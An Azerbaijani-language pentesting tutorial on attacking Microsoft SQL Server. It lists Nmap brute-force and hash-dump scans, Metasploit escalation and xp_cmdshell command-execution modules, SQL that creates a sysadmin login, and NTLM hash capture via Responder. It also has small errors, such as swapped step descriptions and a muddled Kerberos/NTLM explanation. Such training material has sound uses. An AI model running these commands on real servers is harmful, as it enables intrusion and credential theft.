1433-Pentesting MSSQL-Microsoft SQL Server

Microsoft SQL Server (MSSQL) Microsoft tərəfindən hazırlanmış bir RDBMS’dir, hansı ki, məlumatları səmərəli şəkildə saxlamaq, çəkmək və idarə etmək üçün nəzərdə tutulmuşdur. MSSQL default olaraq 1433 portu üzərində çalışır.

Müəyyən IP ünvanında MSSQL Server nümunələri haqqında məlumat toplamaq, potensial zəiflikləri yoxlamaq və server konfiqurasiyası ilə bağlı məlumat əldə etmək üçün NSE(Nmap Scripting Engine) skriptləri ilə çalışan Nmap əmri:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <target-ip>
  • --script’dən istifadə edərək skan zamanı icra olunacaq NSE skiptlərini qeyd edirik.

  • ms-sql-info : MSSQL serveri haqqında məlumat toplayır.

  • ms-sql-empty-password : 'sa' istifadəçisinin parol olmadan aktiv olub olmadığını yoxlayır.

  • ms-sql-xp-cmdshell : Serverdə XP_CMDShell funksiyasını aktivləşdirməyə çalışır.

  • ms-sql-config : MSSQL serverdən konfiqurasiya məlumatlarını çıxarır.

  • ms-sql-ntlm-info : NTLM autentifikasiyası vasitəsilə məlumatı çıxarır.

  • ms-sql-tables : Server databazasından cədvəllərin siyahısını çıxarır.

  • ms-sql-hasdbaccess : İstifadəçinin databazaya girişinin olub-olmadığını yolayır.

  • ms-sql-dac : Serverdə Xüsusi İdarəetmə Bağlantısının (DAC) mövcudluğunu yoxlayır.

  • ms-sql-dump-hashes : Serverdən parol hashlərini əldə etməyə cəhd edir.

  • --script-args’dən istifadə edərək bəzi skrtiplər üçün lazım olan məlumatları daxil edirik.

  • mssql.instance-port=1433 : MSSQL Server portunu göstərir.

  • mssql.username=sa : Autentifikasiya üçün username (bu nümunədə 'sa') weyd olunur.

  • mssql.password= : Boş parolu göstərir (faktiki parol ilə əvəz edilməlidir).

  • mssql.instance-name=MSSQLSERVER : MSSQL Server nümunəsinin adını qeyd edir.

Nmap MSSQL brute force:

nmap -p 1433 --script ms-sql-brute --script-args userdb=/path-to-the-user-list ,passdb=/path-to-the-pass-list  <target-ip>

Bu əmr, “ms-sql-brute” NSE skriptindən istifadə edərək qeyd edilən username və parol siyahıları ilə MSSQL serverinə brute force hücumu həyata keçirir.

MSSQL-dən sysusers çıxarmaq üçün Nmap skripti:

nmap -p 1433 --script ms-sql-query --script-args mssql.username=<username>,mssql.password=<password>,ms-sql-query.query="SELECT * FROM master..syslogins" <target-ip>

Bu Nmap əmri istifadəçi adı və paroldan istifadə edərək qeyd edilən IP ünvanında MSSQL xidmətinə qoşulmağa çalışır. Sonra o, “master” databazasındakı girişlər haqqında məlumatı əldə etmək üçün MSSQL serverinə qarşı “SELECT * FROM master..syslogins” sorğusunu icra edir.

Msfconsole ilə MSSQL enum:

msfconsole
use auxiliary/scanner/mssql/mssql_enum
set RHOSTS <target-ip>
run

“auxiliary/scanner/mssql/mssql_enum” Microsoft SQL Server’dən məlumat çıxarmaq üçün bir metasploit moduludur. Bu modul, verilənlər bazası adları, server versiyası məlumatı və digər konfiqurasiya təfərrüatları kimi məlumatlar verir.

Səlahiyyətlərin yüksəldilməsi:

msf> use exploit/windows/mssql/mssql_linkcrawler

msf> use admin/mssql/mssql_escalate_execute_as

msf> use admin/mssql/mssql_escalate_dbowner

Bu modullar üçün USERNAME,PASSWORD və RHOSTS təyin edilməlidir.

admin/mssql/mssql_escalate_execute_as” : Verilənlər bazası idarəetmə sistemləri kontekstində təqlid bir istifadəçinin digər istifadəçinin şəxsiyyətini və icazələrini müvəqqəti olaraq qəbul etməsidir. Əgər istifadəçinin "IMPERSONTAION privilege" varsa, bu o deməkdir ki, o, başqa istifadəçini təqlid edə bilər.BU modulun məqsədi də həmin səlahiyyəti sui istifadə etməkdir.

admin/mssql/mssql_escalate_dbowner” : db_owner rolu "verilənlər bazası sahibi" deməkdir. Bu rolun üzvləri xüsusi verilənlər bazası daxilində ən yüksək icazələrə malikdir. sysadmin rolu isə "sistem administratoru" deməkdir və bu rolun üzvləri server səviyyəsində ən yüksək icazələrə malikdirlər.Bu metasploit modulunun məqsədi səlahiyyətlərin db_owner’dən syadmin’ə yüksəldilməsidir.

Əmr icrası

Aşağıdakı metasploit modulu xp_cmdshell (defolt) və ya sp_oacreate proseduru vasitəsilə MSSQL/MSDE nümunəsində Windows əmri yerinə yetirir. Bu moduldan istifadə etmək üçün istifadəçi adı və parol tələb olunur. Əmr uğurla icra edildikdə çıxışı qaytarılır. xp_cmdshell uğursuz olarsa, onun əvəzinə modul, sp_oacreate texnikasından istifadəni yoxlayır.

msf > use use use admin/mssql/mssql_exec
msf auxiliary(mssql_exec) > set USERNAME yusif
USERNAME => yusif
msf auxiliary(mssql_exec) > set PASSWORD kazimli
PASSWORD => kazimli
msf auxiliary(mssql_exec) > set TECHNIQUE sp_oacreate
TECHNIQUE => sp_oacreate
msf auxiliary(mssql_exec) > set RHOST 192.168.1.19
RHOST => 192.168.1.19
msf auxiliary(mssql_exec) > set CMD cmd.exe /c echo OWNED > C:\\owned.txt
CMD => cmd.exe /c echo OWNED > C:\\owned.txt
msf auxiliary(mssql_exec) > run

[*] 192.168.1.19:1433 - Enabling advanced options and ole automation procedures.
[*] 192.168.1.19:1433 - Executing command using sp_oacreate. No output will be displayed.
[*] Auxiliary module execution completed
msf auxiliary(mssql_exec_oacreate) >

Yuxarıda göründüyü kimi sp_oacreate texnikası seçildikdə, əmrin çıxışı qaytarılmır.

Bu nümunədə icra olunacaq əmr kimi ‘cmd.exe /c echo OWNED > C:\owned.txt’ təyin edilib, bu əmr yeni fayl (C:\owned.txt) yaradacaq və həmin fayla "OWNED" sözünü yazacaq.

Əmr icrası üçün digər bir modul:

msf > use exploit/windows/mssql/mssql_payload

Bu modul, hədəf sistemə daha mürəkkəb kod parçasının (payload) yüklənməsini və sonra həmin əmrin icrasını həyata keçirir.Digər modul ilə müqayisədə bu, daha mürəkkəb və potensial olaraq gizli (stealthy) yanaşmadır.

Giriş

Microsoft SQL Serverinə qoşulmaq üçün sqsh alətinən istifadə edə bilərik:

sqsh -S <target-ip> -U <Username> -P <Password> -D <Database>
  • -S <target-ip>: Qoşulacaq serveri təyin edir.

  • -U <Username>: Qoşulacaq istifadəçini təyin edir.

  • -P <Password>: Göstərilən istifadəçi üçün parolu təyin edir.

  • -D <Database>: Qoşulmaq üçün ilkin verilənlər bazasını təyin edir.

Sqsh üçün digər bir əmr də istifadəçinin “.\\<Username>” qeyd olunduğu əmrdir. Bu format (.\\<Username>) istifadəçi hesabının hədəf maşında yerli istifadəçi(local user) olduğunu göstərir. İkiqat tərs kəsişmə(\\) tək tərs(\) kəsişməni təmsil etmək üçün qaçış ardıcıllığıdır(escape sequence).

sqsh -S <IP> -U .\\\\<Username> -P <Password> -D <Database>

MSSQL’ə qoşulmaq üçün digər alət “impacket”dir.

impacket-mssqlclient -port 1433 DOMAIN/username:password@<target-ip>

Microsoft SQL Serverinə qoşulma zamanı Windows autentifikasiyasından istifadə edilməli olduğunu qeyd etmək üçün -windows-auth:

impacket-mssqlclient -port 1433 DOMAIN/username:password@<target-ip> -windows-auth

Sqsh ilə qoşulduqdan sonra sorğunu göndərmək üçün ondan sonra GO istifadə etməliyik:

1> select @@version;
2> go

Komandalar

# MSSQL versiyasının əldə edilməsi
> SELECT @@version;

# Cari istifadəçi
> SELECT user_name();

# Bütün istifadəçilərin əldə edilməsi
> SELECT * FROM sys.database_principals;

# Databazaların əldə edilməsi
> SELECT * FROM master.dbo.sysdatabases;

# Seçilmiş databzaya keçid
> USE <database>;

# Databzaların listələnməsi
> SELECT * FROM information_schema.tables;

# Cədvəlin mətninin çıxarılması
> SELECT * FROM <database_name>.dbo.<table_name>;

# Cari istifadəçinin OS əmrini yerinə yetirmək icazəsinin olub olmadığınn yoxlanılması
> USE master;
> EXEC sp_helprotect 'xp_cmdshell';

# Əlaqəli serverləri əldə edilməsi
> EXEC sp_linkedservers;
> SELECT * FROM sys.servers;

# sysadmin imtiyazı ilə yeni istifadəçi yaradın
> CREATE LOGIN tester WITH PASSWORD = 'password';
> EXEC sp_addsrvrolemember 'tester', 'sysadmin';

#İstifadəçilərin listələnməsi
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;

# Directory list
> xp_dirtree '.\\'
> xp_dirtree 'C:\\Users\\'

# Daha məqsədə uyğun nəticə üçün filtrləmə
SELECT 
    name,
    create_date,
    modify_date,
    type_desc AS type,
    authentication_type_desc AS authentication_type,
    sid
FROM 
    sys.database_principals
WHERE 
    type = 'S' -- Sadəcə SQL istifadəçilərini göstərəcək
    AND authentication_type_desc = 'DATABASE' --Yalnız verilənlər bazası autentifikasiyası olanları seçəcək
ORDER BY 
    modify_date DESC; -- Nəticələri əks xronoloji ardıcıllıqla dəyişiklik tarixinə görə sıralanacaq

Windows Command Shell’in aktivləşdirilməsi

İmpacket alətindən istifadə edərək MSSQL’ə bağlandıqdan sonra Windows Shell Komandalarını "enable_xp_cmdshell" ilə icra edə bilərik.

> enable_xp_cmdshell
> disable_xp_cmdshell

və digər üsul:

# Command shell'i aktivləşdirir
> EXEC sp_configure 'xp_cmdshell', 1;
# Command shell üçün təyin olunmuş dəyəri yeniləyir
> RECONFIGURE;

‘xp_cmdshell’ ilə Windows Command Prompt ilə eyni əmrləri icra edə bilərik.

# cari istifadəçinin əldə edilməsi
> xp_cmdshell whoami

# Directory list
> xp_cmdshell dir \\Users
# Gizli faylları görmək üçün
> xp_cmdshell dir /a

# Cari qovluğu görmək üçün
> xp_cmdshell cd

# Faylın məzmununu görmək üçün
> xp_cmdshell type \\Users\\Yusif\\example.txt

NTLM Hash’in əldə edilməsi

NTLM (NT LAN Manager) istifadəçilərə məxfilik, tamlıq və autentifikasiya(CIA) təmin edən Microsoft təhlükəsizlik protokolları dəstidir. NTLM hash Windows əməliyyat sistemində saxlanılan istifadəçi parollarının hash dəyərləridir. Microsoft SQL Server istifadəçilərin autentifikasiyası üçün Keberos-dan istifadə edir, beləliklə biz NTLM hash-i əldə edə bilək. Kerberos identifikasiya mexanizmi kimi biletlərdən istifadə edir. İstifadəçilər Kerberos sisteminə autentifikasiya etdikdə, müxtəlif xidmətlərə daxil olmaq üçün Key Distribuiton Center’in(KDC) təyin etdiyi biletlərdən istifadə edirlər.

1.İlk öncə SMB serverini işə salıram.SMB serveri başlatmaqda məqsədimiz qanuni (legitimate) fayl serverini təqlid etməkdir.

sudo responder -I <interface>

2.İkinci mərhələdə SMB Responderi işə salıram.Responder şəbəkə trafikini tutmaq və təhlil etmək üçün istifadə edilir.

sudo impacket-smbserver share ./ -smb2support

3.Artıq uyğun metasploit modulundan istifadə edərək exploit’i həyata keçirə bilərik.SMBPROXY’nin dəyəri Responder IP təyin edilməlidir. (bu ip terminalda Responder işə salındıqda görünəcək)

msfconsole -q
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
msf> set rhosts <target_ip>
msf> set username <username>
msf> set password <password>
msf> set use_windows_authent true
msf> set smbproxy <responder_ip>
msf> run

İcra edildikdən sonra SMB serverinin işlədiyi terminalda NTLM hash dəyərləri görünəcək.

Last updated